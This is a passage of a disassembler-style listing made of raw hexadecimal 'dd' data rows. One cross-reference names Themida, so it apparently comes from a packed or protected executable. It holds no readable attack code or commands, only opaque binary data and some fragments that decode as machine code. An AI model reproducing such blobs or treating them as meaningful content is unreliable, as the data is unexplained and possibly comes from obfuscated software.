		dd 52C6E106h, 0BD1A06DEh, 32156611h, 3FC07E9h, 3D156645h
		dd 321561A1h, 33966911h, 0CE156688h, 0CCD3D517h, 31FEA6E9h
		dd 0B2D2AD91h, 0F195207Bh, 69CC4E22h, 32058E42h, 0B7E16611h
		dd 9EAC739h, 685CE2A6h,	30A6E3ACh, 0B71AE2F2h, 32156688h
		dd 0CDAB001Dh, 23FC07CEh, 4E156611h, 444C340Eh,	767F3B18h
		dd 0D9B92DCh, 74EFDAC9h, 32148F09h, 0E3E26644h,	321577CBh
		dd 0DEA98C11h, 0B6997223h, 0B22E7387h, 2AB50E24h, 8875D27Ch
		dd 6C84F012h, 33AF3425h, 61031F1Ah, 1B741CAAh, 0E7D6E7E8h
		dd 0B3185964h, 825997D1h, 0EFFEE771h, 0B32AB8CEh, 280237AFh
		dd 69CF6F44h, 0E8E2BCE6h, 5C90AC09h, 0D8942387h, 45EE1BB4h
		dd 524FB730h, 32157561h, 0BB741C44h, 0F9D399B4h, 0AFC792F3h
		dd 0D7A20A0h, 0A2C15AF7h, 3206E72Dh, 3FFD6611h,	0DD156688h
		dd 1A58FE8Ah, 0A1A3C774h, 6D96B348h, 3AFC07D1h,	25156644h
		dd 0F15E706h, 0B35DD2A8h, 361834Bh, 62DE4F58h, 361839Ah
		dd 6AD64F0Dh, 32156D61h, 84C16C44h, 5E4B2Ah, 57040909h
		dd 0FBAA69E8h, 321561ACh, 94EA5022h, 0A4FB062Eh, 3215EE87h
		dd 534F6644h, 211CE3A9h, 0B41A60B8h, 3215669Ah,	32156BADh
		dd 62D0EC22h, 8A20FC6Fh, 0C3359F6Eh, 0A79E6F1Bh, 34BC7887h
		dd 321561F8h, 1D919E88h, 47AEAFB0h, 35D8DBA1h, 3D1460B8h
		dd 0CDE0BA0Ch, 0B01A06BBh, 32156624h, 3215ED1Eh, 38FC6688h
		dd 0A156644h, 303EBE46h, 389934BAh, 0EA2E077Ah,	323FE44Bh
		dd 0BED6622h, 7F9369C2h, 3DEA9964h, 32157DCDh, 0E2950622h
		dd 32048F34h, 559B6688h, 2E96C24Ch, 0DABDEBD2h,	0B42BAAC4h
		dd 5300DFB4h, 40F5DD17h, 0D9945ABFh, 0E8814F0h,	0DB4EB889h
		dd 3215664Ch, 0C7C79A75h, 0EECD392Bh, 1639E7DEh, 4DED2854h
		dd 22AE357Bh, 336A9E5Fh, 38FC3D51h, 0A6156644h,	673F73D2h
		dd 84C9C954h, 0BB1A06E8h, 32156642h, 3215ED2Dh,	65746611h
		dd 371A5D37h, 45E2E722h, 0B35ACD31h, 0BE15EFDEh, 0F8FAE7A8h
		dd 1BC04994h, 0CB3C39DBh, 7E16A790h, 37FC32F6h,	0DE156644h
		dd 0CE9F6FADh, 0B2AE3544h, 0F366B6C6h, 0F19463AFh, 19E13BDAh
		dd 0F994BDE6h, 6E893696h, 6D8C8DC5h, 0EF9CBADFh, 6FFC4F4Ah
		dd 32156C61h, 9C6C5944h, 6E3E9494h, 60CD92F1h, 0F4958C3Eh
		dd 0D8E3E6A6h, 0B29780A2h, 637386D7h, 0FC156139h, 0C29D3F22h
		dd 52BF9A78h, 26FD919Ah, 20156688h, 0FFDB6CA4h,	0C624A71Dh
		dd 4674B9EAh, 0FCCD7790h, 3DE69CB7h, 534E9E95h,	0B94436E4h
		dd 0F696428Ch, 99E03F40h, 3205E42Dh, 39FC6611h,	0C8156688h
		dd 0FA25422Ch, 0D48CBD63h, 3FFCC1D9h, 5C156688h, 9B5E341Ch
		dd 0C11B187Eh, 0F265FDABh, 0CDC4E761h, 8D7306BBh, 89735345h
		dd 60740EC3h, 2D303332h, 36FFA73Eh, 0C09484F3h,	44FD6AA0h
		dd 0F094B47Fh, 4619747Ch, 0E7F1A4A3h, 0C014638Eh, 0DB4F6402h
		dd 3215664Bh, 0ED483D56h, 0A65AB682h, 0A1173CAh, 0E991F89h
		dd 29169CAh, 3D156611h,	3215670Bh, 5A479A44h, 292731A7h
		dd 22E7E74Bh, 0B30DBEE7h, 0D82DF3AEh, 6943421h,	201D7735h
		dd 23203E8Ah, 6817744Ch, 338A8FDBh, 62E96611h, 36108601h
		dd 0B1156644h, 369262CAh, 2E9C3A35h, 0B97593ACh, 534F308Eh
		dd 0BBE4EF73h, 1619EDDAh, 3211A209h, 20FC6644h,	0D8156622h
		dd 2355452h, 1D748E7Ch,	74C2A94Fh, 71ABF48Eh, 0C8AD06B7h
		dd 3D0C0AA1h, 321560C0h, 32936922h, 53156611h, 44C9DED8h
		dd 0EF20137Dh, 33605F54h, 6A0D65E1h, 321EE987h,	34FC6644h
		dd 7A156622h, 93238A48h, 377D309Eh, 6C156644h, 3D4B9523h
		dd 3215679Eh, 84479A88h, 33D3E6A3h, 0DB4F96AAh,	32156602h
		dd 16E826E1h, 0E72E0E33h, 1A941A1Fh, 0AC68722Bh, 98D5E520h
		dd 321576ADh, 453E6D22h, 57D7A8A8h, 0E041DE2Bh,	98BA2579h
		dd 9DA83374h, 0B327F330h, 0A708884Dh, 10F0E739h, 0B33C772Bh
		dd 444969E4h, 0FED8E7C8h, 0C53D0415h, 0DDD0E7F7h, 1BB6E792h
		dd 0C93C3B63h, 1C0AA5C5h, 0B3ED5D29h, 321562FDh, 1601EF88h
		dd 321562FEh, 68C64F22h, 321572F8h, 33EF6F88h, 0DF60D8A8h
		dd 5CCC5EA2h, 0A544D0AEh, 91336FCBh, 6A4636F7h,	0B3317AA9h
		dd 321562D5h, 0DBBE9A88h, 32156650h, 47C65C13h,	277631F1h
		dd 7FE53AD3h, 67D54954h, 54C11C01h, 693152EEh, 3211A209h
		dd 0B51A6644h, 32156623h, 37AD36E8h, 33156688h,	1611ED82h
		dd 3211A2A3h, 52756611h, 0A8A32B36h, 53FAEC4Bh,	6774BD92h
		dd 8C1802ACh, 0FF942BA0h, 436914CBh, 3FF2DD71h,	0EF1458BDh
		dd 0E5E0E7D3h, 0BBADCCC9h, 61753BCAh, 0DB4C0771h, 32156680h
		dd 412C63FBh, 7CB37A3Bh, 5AEDA570h, 32154BB7h, 52316ACDh
		dd 321575CAh, 96C56411h, 95DC3E43h, 0B5B079E1h,	9A2C9E9Fh
		dd 29D7FAC5h, 32156060h, 0F76D944h, 6BF0C248h, 0C59E0048h
		dd 4EA00E9h, 1611ED22h,	0DB17A2A1h, 32156618h, 0C863E95Bh
		dd 261BBFDCh, 3DD65AC3h, 32141695h, 0CB420688h,	0E49E001Eh
		dd 3DDE5A43h, 32140695h, 35FC0688h, 94156644h, 0DB388006h
		dd 0B3732D86h, 53CE2746h, 0B61AA478h, 32156753h, 0F19E0071h
		dd 32188FE8h, 0FCD36644h, 23B3EFF3h, 82379B4Fh,	88F1A740h
		dd 604A3486h, 0F8290743h, 335EE21Eh, 3D756688h,	321564C1h
		dd 0CEF5D622h, 0CD280070h, 659169ADh, 0CE156645h, 0CD3B5B44h
		dd 3286E31Eh, 0DB756688h, 3215664Fh, 37E0D9E1h,	0D8E337B6h
		dd 3DF22476h, 321560C1h, 32916922h, 53156611h, 32068FE8h
		dd 9F86644h, 4245F1DAh,	6BF05F7Eh, 7BE9E2AFh, 0CAC5A086h
		dd 536DD470h, 3217DD42h, 0F1946688h, 53C66030h,	0D9949523h
		dd 53C66065h, 3D4E6502h, 321569C3h, 321F8F22h, 46FE6611h
		dd 4A3C78A2h, 43882357h, 5437D470h, 3248D340h, 0B24C0062h
		dd 0E2351786h, 35986978h, 3D156611h, 3215670Ch,	92299A44h
		dd 32FEE22Dh, 0BC1A6611h, 32156689h, 1619EDBCh,	0B3F2EF75h
		dd 321562D6h, 36D2E588h, 6E315AC3h, 321569CBh, 3C825011h
		dd 0C15DBD02h, 0D1E49A88h, 0A9EB33DFh, 11840E42h, 0B34E0D70h
		dd 0CA36F7AFh, 0B9CDEF49h, 0F694420Dh, 3215668Ch, 3206E74Bh
		dd 3CFC6622h, 7D156611h, 6EFC769Fh, 58203FAh, 0FC72C23Eh
		dd 33358F71h, 38FC6688h, 74156644h, 0BF5DA310h,	0E2676461h
		dd 52DC577Ch, 69E486C5h, 60745A5Fh, 321567ABh, 68C46788h
		dd 0B6FC9EBCh, 52156622h, 321560F8h, 96D4EE88h,	5402E32Eh
		dd 747AA8A3h, 32160E70h
		dd 3E9E6688h, 36D1E560h, 321563CBh, 0EC606F11h,	6AFC54C7h
		dd 3D156644h, 321567A5h, 347D9F11h, 0B9156688h,	0F6964248h
		dd 0B3EC0626h, 1F9DB3D6h, 0AFC07DFh, 0DB156644h, 3215662Fh
		dd 973ABD6Eh, 0BA84409Fh, 0C5562335h, 4857DFACh, 0DB94028Fh
		dd 26817E81h, 0F3128785h, 8D4265CBh, 32B34586h,	524A9FB9h
		dd 81AB06B8h, 63409706h, 0C174074Bh, 3591692Ch,	52156644h
		dd 0B8E4ED44h, 0BF9E07FDh, 34BC782Dh, 0F5940024h, 0B373C9C3h
		dd 530A10F9h, 0B71AAF0Dh, 3215665Bh, 321F8F42h,	104F6611h
		dd 94FF683Fh, 7FFC75B8h, 91DFE642h, 5374919Ah, 2CB0D301h
		dd 0CDED60EDh, 0B14C4216h, 34FC62D5h, 2D156688h, 105CFAB5h
		dd 67D31A6h, 6D77DF5Ah,	79209109h, 6A4204FDh, 5445067Dh
		dd 6958090h, 0CBD607D2h, 54239922h, 0B13162A9h,	3D7564D5h
		dd 3215640Bh, 0DB740644h, 32156625h, 85F5F36Eh,	538B9EB4h
		dd 3DD65AB1h, 321405A6h, 359A6911h, 3D156688h, 321567CAh
		dd 60449E22h, 0C79DA099h, 6BFEEED2h, 0DCAF0024h, 0DD940094h
		dd 6374BC64h, 0D3C5B239h, 0B21D8F84h, 8546B6E3h, 0C4C29010h
		dd 0CCCA905Fh, 2CFAE68Bh, 124E9F0Ah, 3AFC3FDAh,	3C156688h
		dd 0D4B03A1Ah, 0B29998AEh, 0B61A16EAh, 321565DBh, 30986924h
		dd 0B8156622h, 2C00DFE9h, 0E7476C1h, 0C79169ADh, 52156622h
		dd 0E75CB990h, 89733982h, 0E74C86Eh, 0D39169C9h, 52156611h
		dd 73C9409h, 0E495622Eh, 0F0290770h, 32DBE21Eh,	89756688h
		dd 14BCBC1Ch, 0F92907D7h, 32ABE21Eh, 0BC1A6688h, 32156645h
		dd 0CD2800DEh, 9F916934h, 0C7156688h, 0B61AAC78h, 32156686h
		dd 321563F8h, 3CF26B88h, 0D1296B1Eh, 30CCE22Dh,	0DBED6611h
		dd 3215669Ah, 2A0DE3A1h, 4F09D817h, 28CE0A47h, 0FEDF4E39h
		dd 0F737FC1h, 0B71A990Ch, 32156651h, 851A37E8h,	0CC9E3DB4h
		dd 36F9E743h, 0BB156611h, 30AC4284h, 33156644h,	6B14ECD3h
		dd 0FA69371h, 544400E9h, 0BAE5D214h, 124D00C7h,	524C00F9h
		dd 0E1EB8109h, 0E7453D6h, 3916982h, 0CA156611h,	0F6AF230h
		dd 1F5D2678h, 200B5488h, 8103DF40h, 0FA14B368h,	3990691Dh
		dd 52156622h, 0C798DD77h, 3732AE31h, 42FC074Bh,	52156622h
		dd 53D4D11Eh, 2CB0D301h, 887560EDh, 2794375Bh, 3216EA1Eh
		dd 851A6688h, 0AF98078Ch, 34BAFCDBh, 3206ED1Eh,	3CFC6688h
		dd 5D156644h, 0EE4674CAh, 6F08362Bh, 622847A9h,	51AA0642h
		dd 545EFA6Fh, 53192FAFh, 8AE0B577h, 37841172h, 72178EE3h
		dd 3837B634h, 33FDE5C4h, 0C52ADD69h, 0F3164B1Ah, 52ECA119h
		dd 0F2A1DDEEh, 7C6E90C5h, 0F1744BD8h, 3212E21Eh, 0B61A6688h
		dd 32156645h, 259669DBh, 0DB156611h, 3215669Ah,	0AF827DB1h
		dd 8F194BB9h, 9302706Eh, 0F53C01ADh, 997D1BD2h,	0BB156629h
		dd 0CDEC4215h, 369E76FEh, 36D1E760h, 0CA156622h, 1484E398h
		dd 0BF1A6021h, 3215664Dh, 0B51A9342h, 32156611h, 1611EDE9h
		dd 0B3F4EF15h, 321562E3h, 36D4E511h, 6E316A0Fh,	32018F24h
		dd 3A6A6622h, 0EC876ABDh, 0C3EF3F46h, 0B1DA1155h, 51E298BBh
		dd 5A749664h, 3215201Fh, 8B316ACDh, 3215663Eh, 0CB4CA810h
		dd 111CDB05h, 0BA1A60EDh, 32156630h, 32156BF8h,	4F93F88h
		dd 0C54470E5h, 0E48358FEh, 39FCF6B7h, 2156688h,	9906300Eh
		dd 682CBCEFh, 52B8964Fh, 3217E587h, 0C29E6644h,	37744997h
		dd 63114098h, 1631228Bh, 4CAFDB11h, 0B3582CAFh,	0DA42D1FCh
		dd 0B3C891C2h, 5F100EB1h, 3FF8E738h, 1BDC55A6h,	0BF1A3B60h
		dd 32156643h, 3214E12Dh, 99E96611h, 3211ED87h, 52756644h
		dd 38FC0743h, 0B6156611h, 0F091872h, 7DF300F9h,	67A8EBE8h
		dd 3D13CF34h, 3215750Fh, 321B8F44h, 0C4DC6622h,	709BA703h
		dd 45F533DFh, 5CC4CB90h, 32058F8Fh, 54B6611h, 331C8285h
		dd 0D4F36A5h, 0CA03C096h, 8B443D39h, 6B17BD9h, 0F3D4E70Dh
		dd 33FBF6C0h, 76163FD9h, 233842ACh, 0CA365344h,	322FC74Ah
		dd 1611EF11h, 32058F74h, 2EF26644h, 0B4771416h,	8AC34679h
		dd 503E1E99h, 0CABE9001h, 241CDBAFh, 0B01A60B8h, 32156689h
		dd 37FCCBB8h, 0C5156622h, 65ED1DD4h, 268F8Dh, 16516510h
		dd 0DBAB300Ah, 1B415422h, 34FC3878h, 0BD156644h, 0F5139F06h
		dd 0CBBE9EBCh, 6C315277h, 3211A2C5h, 52756622h,	0F17407EDh
		dd 0C59E00E8h, 5A74A7CFh, 32157489h, 3D315298h,	32156A0Bh
		dd 34946944h, 3D156622h, 3215669Ah, 1388EB88h, 3D13C9DEh
		dd 32156FA1h, 0E29E0611h, 6AFEBC31h, 0E1EA073Eh, 0E0940042h
		dd 0B11A38BCh, 3215668Eh, 3215EE4Bh, 0DB746622h, 0CDEA9B51h
		dd 4ECEDFF5h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4F5EACAh
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 3ECE2559h, 0F1433A49h
		dd 76BF32DCh, 71BA8CA5h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2CE4F475h, 49DF0746h, 0D552180Dh,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 1219BA8Fh, 0B0D9FB57h
		dd 0A4F5D6FEh, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 766832DCh, 2F168CA5h, 9A0843CBh, 2B967513h, 2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 3BE9h, 0BD8B6000h
		dd 6A934ADh, 3304EF83h,	0BBC18BC9h, 0EDB88320h,	0BE04C783h
		dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h
		dd 100h, 0FFD3820Fh, 0C361FFFFh, 6E8C88Bh, 13000000h, 59B84EFCh
		dd 0F78166BCh, 0E958C8C6h, 7, 0EE7E3C7Dh, 81E41B04h, 7374C0h
		dd 7E800h, 92390000h, 286B9709h, 3820FF4h, 0F000000h, 6859D8BFh
		dd 0
		dd 0CABF0F60h, 0EE9h, 5B822D00h, 9C066C93h, 0B7AF6654h
		dd 6161BC75h, 634FF5Eh,	8B665AF8h, 9AF281FAh, 8B73DFC5h
		dd 41EA81DEh, 816CDA86h, 0AFE9B5F2h, 5152F804h,	8EFEBB51h
		dd 5B5F547Ch, 5030048Fh, 5890Fh, 5CB90000h, 5F378B61h
		dd 9887EE81h, 606000AEh, 0B9120CBBh, 0D4BEBF53h, 61611B36h
		dd 9883C681h, 840F00AEh, 3, 81DAB70Fh, 0FF8D7CFEh, 12850FFFh
		dd 0B5000000h, 35E92Ch,	69280000h, 4C790D0Ah, 0B3AD0ED0h
		dd 6E8AAh, 148A0000h, 9A1530Dh,	540E381h, 0E95F3966h, 0FFFFFF71h
		dd 63A6BB04h, 0BB6DA91Ah, 5E983A9h, 0CB8BA4F3h,	0DEDD80E4h
		dd 3256BC58h, 0B2D226B1h, 0DA24D498h, 325657B1h, 21BC2AEBh
		dd 0DB507A78h, 3256EAB7h, 0B6F9C80Dh, 0B336A875h, 0B9792267h
		dd 3DAECEF1h, 53378906h, 0F305E983h, 11F1B0A4h,	0FD7AF29Dh
		dd 17FB2375h, 0FBCAEB72h, 0F53FD525h, 0A888ADFDh, 342291C5h
		dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 4D2D9498h
		dd 84FFA073h, 5E98320h,	0DB8BA4F3h, 73D3BD8Dh, 8D8D06B0h
		dd 6B0FEA0h, 156644B8h,	0C1CF2B32h, 73102E9h, 0C783C8D0h
		dd 0F6754904h, 13E9h, 2E741F00h, 52B8C114h, 5BA5ABEBh
		dd 0B91EBA4Ch, 0C351CA17h, 4EC83F9h, 58240489h,	7E9h, 6833E100h
		dd 0C3A563E7h, 1DBD83FCh, 6A913h, 0BD830975h, 6A91431h
		dd 50197400h, 0B8C08B53h, 411h,	2098589h, 9D8D06A9h, 6ABB4C3h
		dd 585BD3FFh, 1431BD83h, 740006A9h, 0B8535017h,	411h, 2098589h
		dd 9D8D06A9h, 6ABB164h,	585BD3FFh, 7820Fh, 850F0000h, 1
		dd 0E96160FCh, 0Ch, 19BCCD4Dh, 0AD99E0D7h, 0E27565C4h
		dd 51C18951h, 0C5240481h, 584C1A67h, 1A67C52Dh,	6060594Ch
		dd 880Fh, 12E80000h, 0BA000000h, 8FD57D95h, 0A6D3BD58h
		dd 987BA58Bh, 3ED2A770h, 56615F4Ch, 6159CC8Ah, 0A48D8DF8h
		dd 6606B102h, 0BF0FC78Bh, 0CD8D89D9h, 8B06A916h, 0A91671B5h
		dd 0E585C706h, 7406A90Ch, 6A000068h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 9B32C357h
		dd 0E19D0948h, 906A905h, 0A92C319Dh, 0CD85C706h, 6A911h
		dd 8B000000h, 0A9129D85h, 9B5FF06h, 8906A90Eh, 0A908F585h
		dd 8195FF06h, 6006A932h, 7E8h, 0F054A600h, 0A69ED355h
		dd 830Fh, 815F0000h, 0BDCFAEC9h, 6A6178h, 2D9595FFh, 0C08B06A9h
		dd 0F664EEBh, 64B51432h, 0FB6F0287h, 528D22C8h,	9946EA2Eh
		dd 1B17005Bh, 2430F0C9h, 92D4B6F8h, 0CF097AD6h,	9801EE65h
		dd 39F45F46h, 7B08446Ch, 5F3270DDh, 53DBD340h, 7290D177h
		dd 0A9875146h, 0C5D82E70h, 0C0D07E66h, 69056FECh, 7443D4ADh
		dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 85B58B00h, 8306A90Dh
		dd 850F00FEh, 22h, 16B185C6h, 684506A9h, 8E726969h, 155B5FFh
		dd 858D06A9h, 6AC73FCh,	8589D0FFh, 6A92041h, 3E80F08Bh
		dd 31850FE9h, 8D000000h, 0AE935A85h, 8BD0FF06h,	0A91A51BDh
		dd 84C78106h, 8B000011h, 0A90D85B5h, 0B9F78706h, 8, 0B58BA4F3h
		dd 6A90D85h, 1B9C858Dh,	0D0FF06ADh, 0D75B58Bh, 0FE8306A9h
		dd 22850F00h, 0C6000000h, 0A916B185h, 0F4685406h, 0FFFF4EBEh
		dd 0A90155B5h, 0FC858D06h, 0FF06AC73h, 758589D0h, 8B06A90Dh
dword_5C7C68	dd 0E93E80F0h, 3A850Fh,	0B58B0000h, 6A90D75h, 935A858Dh
					; DATA XREF: Themida_:off_564081o
		dd 0D0FF06AEh, 1A51BD8Bh, 0C78106A9h, 1184h, 8B08C783h
		dd 0A90D75B5h, 0B9F78706h, 8, 0B58BA4F3h, 6A90D75h, 1B9C858Dh
		dd 0D0FF06ADh, 858DC361h, 6B102FCh, 35B98589h, 31E906A9h
		dd 21000000h, 27DCF4h, 0Bh dup(0)
		dd 4CAE9h, 52E6800h, 0A2E906B1h, 68FFF87Bh, 6B105A1h, 0F87B98E9h
		dd 73168FFh, 8EE906B1h,	81FFF87Bh, 8AEABE9h, 963C396Bh
		dd 24CAC7FDh, 0AF555286h, 0A3DEDB15h, 255FF981h, 0AEE68228h
		dd 3E700BB1h, 0CAFC9B41h, 55E377CDh, 0F5F311A1h, 336E8CFFh
		dd 4ED46799h, 0A0EB7DAFh, 85CC1485h, 2544A6BEh,	3BCD239Fh
		dd 4C5E5CA7h, 285EC1ABh, 0B63918C6h, 0DC8DF27Eh, 6905BD49h
		dd 0EA9CF5FAh, 2A8CC862h, 840C7FC5h, 2C51B3E5h,	0A00F52C6h
		dd 31ACFh, 0CC098F00h, 0D507A42Ch, 0EA1EBC42h, 0E517B53Bh
		dd 29C7FB83h, 0E16F0397h, 0FCA41615h, 2D5FFB83h, 0A36E1C7Eh
		dd 63F27F20h, 0FC9820B2h, 8E3C66C8h, 0F4925ABBh, 992BC5FDh
		dd 0B2A49A0Bh, 22B566F6h, 58EA06BCh, 19DACECAh,	47D98AF5h
		dd 770B20BFh, 0D7C90DE9h, 4EDA8B00h, 0D7C8A8h, 9B9847F8h
		dd 0AD2456F5h, 72D9009Ah, 355B7C11h, 61000003h,	0E88E8BC9h
		dd 761C194Bh, 4AAA7DDh,	8F353266h, 83BEBBF5h, 53FD9A1h
		dd 8EC66208h, 1E50EB91h, 0AADC7B21h, 35C357ADh,	0F5F310C1h
		dd 534E6CDFh, 0E6109E6Fh, 0B2FCA415h, 75C05201h, 0EA7A1755h
		dd 7B2F9126h, 767DD3EDh, 0EA7C2DF2h, 8F8CC862h,	83154FE9h
		dd 0B9535CFBh, 9645D887h, 0CCF37F34h, 0FAF5F27Eh, 0ADB2295Bh
		dd 0C705B25h, 2C25677h,	3CD40000h, 0C8650B08h, 56EF9592h
		dd 0DB791F1Ch, 6C06ACA9h, 24003B38h, 8B88BC56h,	161349E5h
		dd 9E9BD570h, 2A2759F8h, 44B240D4h, 54F5F310h, 6F53C3E1h
		dd 0D35BEF81h, 0C2710436h, 110EB260h, 0B96AF277h, 0CC069F27h
		dd 9929B56Ah, 8F5F312h,	133CE56h, 0A84EDC6Eh, 0F8F5F312h
		dd 79129847h, 874D93Bh,	29F27BBh, 28E3DD0h, 0F5F312F4h
		dd 4A7E1CA4h, 0F75908B7h, 80020D2h, 1B975A0h, 2DC10000h
		dd 0F30A579Fh, 2E9041F5h, 629433EEh, 0A1AA49CFh, 201DCC06h
		dd 36C8289Ah, 43811AA2h, 24AA33E1h, 3EC6F27Fh, 4AD86AA2h
		dd 0F5FB02ACh, 0F98C3BECh, 0FB02556Dh, 83E94CF5h, 0FF033BFh
		dd 4A62A0h, 26AE0000h, 17C6598Bh, 5DBFF591h, 816F531Dh
		dd 34D35BEFh, 15807602h, 6F20FCA4h, 0C6CB590Dh,	82F27F23h
		dd 1DB73FD1h, 40CC81E3h, 0F5FB0182h, 370BC1Fh, 1CAFE17Bh
		dd 0D6D9B9D3h, 0FFAE8B79h, 0B7A789Dh, 0DE1BA00Fh, 0DB000000h
		dd 0CF629433h, 0E375AF49h, 2E90C25Bh, 4B54F379h, 0D90BA8B1h
		dd 39E8972Ah, 51831FA7h, 15B43AEFh, 2EC951E3h, 0A150821Dh
		dd 0CAAC50Eh, 415D6AE7h, 65113092h, 0FCA3E7BBh,	0D9D608A7h
		dd 0EF816F53h, 0D5469CA4h, 85174010h, 0A36BFFF7h, 86E899FCh
		dd 1CB63ED2h, 61D886E8h, 35F2701Ah, 0D06AF284h,	0B70294h
		dd 6AA8914Ch, 3EE80E9Ch, 7B8F5F8h, 31D7F658h, 77E65D97h
		dd 368FBE9Ah, 13280A1h,	0CC640000h, 58F59B98h, 0E67F2522h
		dd 6B09AFACh, 0FC963C39h, 9490CBC8h, 1B184CE6h,	0A6A3D975h
		dd 2E2B6500h, 0BAB7E988h, 0B442D064h, 0E4F5F30Eh, 99335371h
		dd 25C46A67h, 9B4A7E1Ch, 0ED1BE09h, 9B31C553h, 0BE6FFCA3h
		dd 1BB64C75h, 60E89AB9h, 49F88BC5h, 0D04A9100h,	50B2C779h
		dd 62943310h, 78AA49CFh, 0A441C97Bh, 3E840C6Eh,	709220B2h
		dd 78F27F57h, 13AD35C7h, 8A38E4E1h, 0B0F5FAC8h,	30E2DF11h
		dd 45D80CA8h, 0F28C3496h, 63124CE7h, 9E9886D1h,	7EC7F998h
		dd 0E06ED6AAh, 0F5FA7316h, 0C022D182h, 8AEA0Bh,	27AC0000h
		dd 65A34893h, 3F7058EEh, 0A33D43B3h, 4AAC5DFCh,	5EF000C2h
		dd 7639ECD0h, 0C9F50F2h, 0B8B5E786h, 0D05E7312h, 0F5F23B26h
		dd 0A650DE72h, 0F2F5F23Ah, 50E39241h, 802D50C4h, 6AD215D8h
		dd 57548625h, 2AA45AA5h, 56E91BB4h, 7D335EA7h, 6F0EB618h
		dd 598CC66h, 8E14A756h,	670822F0h, 4862E145h, 9CFF0699h
		dd 1E50EF50h, 0D3DC7B21h, 0C4730638h, 5EFB8315h, 0F415CA2Ch
		dd 0Ch,	8BDC27B6h, 0F5ADD65Dh, 6A8A187Ah, 0D6699B33h, 0EC7FB150h
		dd 699CB66h, 1DB0E480h,	30C3FD97h, 41D410AAh, 58EB1DBBh
		dd 68FB39D2h, 7C0F45E2h, 0E389532Ah, 4B850h, 0C3010000h
		dd 4EB8358h, 5C241C87h,	54F168h, 24048900h, 143368h, 240C8900h
		dd 0B1685257h, 5A4D5960h, 0EAC1D2F7h, 81D2F706h, 2D570DF2h
		dd 5AD7898Bh, 98D1BFB8h, 5FF80190h, 240C8B54h, 5204C483h
		dd 8BB53h, 0DA890000h, 89CA015Bh, 34FF5A02h, 0C4815924h
		dd 4, 582434FFh, 0E904C483h, 0FFF876E5h, 0B85A627Eh, 6B10888h
		dd 0E0FFC503h, 6291553Fh, 53E759CFh, 74EEFDBBh,	435D49C3h
		dd 95F2082h, 423D5E21h,	7EEFA458h, 0ECF8ECFh, 7AE17C3Ah
		dd 7E8E641h, 1C7F0955h,	6B6B2AAh, 1C9313E4h, 2348593Ch
		dd 7092FA97h, 78FB1A84h, 5147A9ECh, 1D04CEB3h, 148A9DBh
		dd 1D3C9973h, 27229123h, 4EA8FA38h, 26E603E2h, 2EE8C13h
		dd 7AA025B7h, 59F68779h, 68337276h, 760967BCh, 7AA69578h
		dd 42C68D2Ch, 2DD4300Dh, 56C0BBFBh, 8E8h, 3D249300h, 93487BF5h
		dd 8166606Bh, 612C75F0h, 0D180515Bh, 0C3815FD6h, 5FD5h
		dd 85E78166h, 81C02BA5h, 868370F7h, 1834FF0Eh, 0CFE2815Eh
		dd 8102EC31h, 160520F6h, 12E97Ch, 0A38D0000h, 69F57B20h
		dd 809DFABDh, 0E9C14708h, 69EE1D53h, 0EB72C681h, 805748D3h
		dd 815F66E5h, 0DCF9B6EEh, 0F4BA6647h, 0E98056B4h, 3048F33h
		dd 66CA8B66h, 0E883D68Bh, 31DD8001h, 60484848h,	0F88161F5h
		dd 0FFFFA0B0h, 0FF9F850Fh, 8D8DFFFFh, 6B10A9Bh,	2D91858Bh
		dd 8D8906A9h, 6A916CDh,	2BD572B8h, 0E585C701h, 0B006A90Ch
		dd 6A000063h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0CA94C356h, 7D0E20B0h,	85C793C0h
		dd 6A911CDh, 0
		dd 329852Bh, 0B5FF06A9h, 6A912C9h, 37C8F0BFh, 8195FF45h
		dd 6A06A932h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 4C9CC351h, 0FF006A85h,	0A92D9595h
		dd 0EBC08B06h, 94420D4Ch, 2222757h, 0D46F953Ch,	9C45185h
		dd 9CE11521h, 38A0C859h, 226E32F9h, 339B9BC3h, 3B9E4E8Ah
		dd 88DD8373h, 0F5C43DADh, 0F6DA48FCh, 73E6126Dh, 0C7A35ADCh
		dd 565A01A0h, 2EF7E3A3h, 0DA3AAEF5h, 26216C0h, 0E3BC2FFCh
		dd 35E91Eh, 2F340000h, 74524821h, 6C6C416Ch, 7461636Fh
		dd 61654865h, 70h, 14h,	6 dup(0)
		dd 0E9000000h, 1144h, 0B10D5768h, 74A7E906h, 3B68FFF8h
		dd 0E906B10Eh, 0FFF8749Dh, 0B110C168h, 7493E906h, 0E268FFF8h
		dd 0E906B111h, 0FFF87489h, 0B1156168h, 747FE906h, 0E868FFF8h
		dd 0E906B115h, 0FFF87475h, 0B1162768h, 746BE906h, 1F68FFF8h
		dd 0E906B117h, 0FFF87461h, 0B117C968h, 7457E906h, 3368FFF8h
		dd 0E906B118h, 0FFF8744Dh, 0B1199A68h, 7443E906h, 0BD68FFF8h
		dd 0E906B11Ah, 0FFF87439h, 9063ED6h, 9794C663h,	1D1A58F1h
		dd 0AAA7D977h, 39366A04h, 0BA5426FEh, 47E38986h, 0D7721815h
		dd 5BFAA09Dh, 42D62C29h, 0F30A42B4h, 0CDEB5EF5h, 0CF629433h
		dd 0E578AA49h, 17B3C45Fh, 8B3A720Eh, 5B0049F8h,	0FB30A621h
		dd 0CF55E897h, 0E268FB35h, 0F7D1044h, 0EDF462CAh, 4814B33Bh
